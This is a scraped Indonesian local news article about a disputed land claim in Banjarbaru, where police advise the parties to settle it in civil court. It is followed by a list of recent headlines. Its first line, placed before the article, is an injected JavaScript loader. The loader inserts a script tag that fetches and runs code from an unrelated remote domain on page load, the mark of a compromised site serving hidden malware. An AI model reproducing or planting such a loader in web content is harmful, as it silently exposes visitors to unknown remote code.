(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarbaru

Saling Klaim Tanah di Jalan Karang Anyar 1, Disarankan Tempuh Jalur Pengadilan


KANALKALIMANTAN.COM, BANJARBARU – Permasalahan pematokan sepihak yang dilakukan beberapa orang di tanah warga di Jalan Karang Anyar 1 RT 20 dan RT 46, Kelurahan Loktabat Utara, Kecamatan Banjarbaru Utara, Kota Banjarbaru, kedua belah pihak disarankan menempuh jalur pengadilan.

Kanit Pidana Umum Polres Banjarbaru, Kardi Gunadi mengatakan, permasalahan iti lebih baik melalui jalur hukum di pengadilan jika kedua belak pihak mengklaim mempunyai alas tanah yang sah.

“Itu masing-masing punya alas, jadi diarahkan ke perdata biasanya,” ujarnya.

Meski dianjurkan menempuh jalur pengadilan, kedua belah pihak lebih baik melakukan perundingan terlebih dulu, baik yang melakukan pematokan dan pihak warga yang menempati tanah yang diklaim pihak pematok saat ini dan menjawab somasi yang dilontarkannya.

 

Baca juga: Bingung Tiba-tiba Ada Patok Plang Merah Berkawat Duri

“Dan yang bagusnya lagi melalui jalur perdata,” tekannya.

Sebelumnya pada Senin (30/1/2023) sore, beberapa orang mematok tanah yang ada di Jalan Karang Anyar 1 RT 20 dan RT 46, dengan kayu galam dan kawat berduri serta terdapat plang warna yang bertuliskan Tanah Hal Milik Alm.Hadji Mugni Bin Hadji Muhammad Seman dengan SHM Nomor 52 Tahun 1972.

Dari informasi yang didapat, tanah yang diklaim pihak pematok kurang lebih 12 ribu meter persegi dengan beberapa rumah warga juga ikut didalamnya

 

Bingung Tiba-tiba Ada Patok Plang Merah Berkawat Duri

Pematokan secara sepihak dilakukan puluhan orang terhadap tanah warga di Jalan Karang Anyar 1, RT 20 dan RT 46, Kelurahan Loktabat Utara, Kecamatan Banjarbaru Utara, Senin (30/1/2023) sore.

Pemasangan menggunakan kayu galam dan kawat berduri, serta plang spanduk warna merah.

Baca juga: Warga Loktabat Utara Ngadu Pematokan Tanah Sepihak ke Kelurahan

Penyegelan itu diketahui tanpa sepengetahuan warga yang tinggal di warung dan rumah makan di atas lahan itu.

Salah seorang warga, berinisial R mengaku merasa terkejut dikarenakan ada kawat berduri terpasang di sekitar bahu Jalan Karang Anyar dan tanahnya juga termuat didalamnya.

“Habis ashar kemarin sudah terpasang,” ujarnya, Selasa (31/1/2023) siang.

Dikatakannya, pihak yang melakukan pematokan tersebut tanpa berbicara atau meminta izin kepada warga yang tinggal di lingkungan tersebut.

“Lebih 20 orang, warga di sini tidak pernah diberitahu,” katanya.

Baca juga: Sabu Antar Warga Palampitan Hulu ke Tahanan Polisi 

Diakuinya, awal dirinya memiliki tanah tersebut dulunya masih segel dan sekarang masih proses pembuatan sertifikat.

“Kalau yang di depan (rumah makan) sudah sertifikat tahun 1981,” ungkapnya.

Dibeberkannya, sedari dulu dirinya menempati tanah itu belum sekali pun terjadi sengketa tanah.

Adapun nama yang tercantum di plang spanduk merah atas nama Hadji Mugni, dirinya tidak mengetahui siapa orang tersebut.

“Insya Allah surat-surat milik kami lengkap,” sebutnya. (Kanalkalimantan.com/ibnu)

Reporter : ibnu
Editor : bie


Risa

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

2 tahun ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

2 tahun ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

2 tahun ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

2 tahun ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

2 tahun ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

2 tahun ago

This website uses cookies.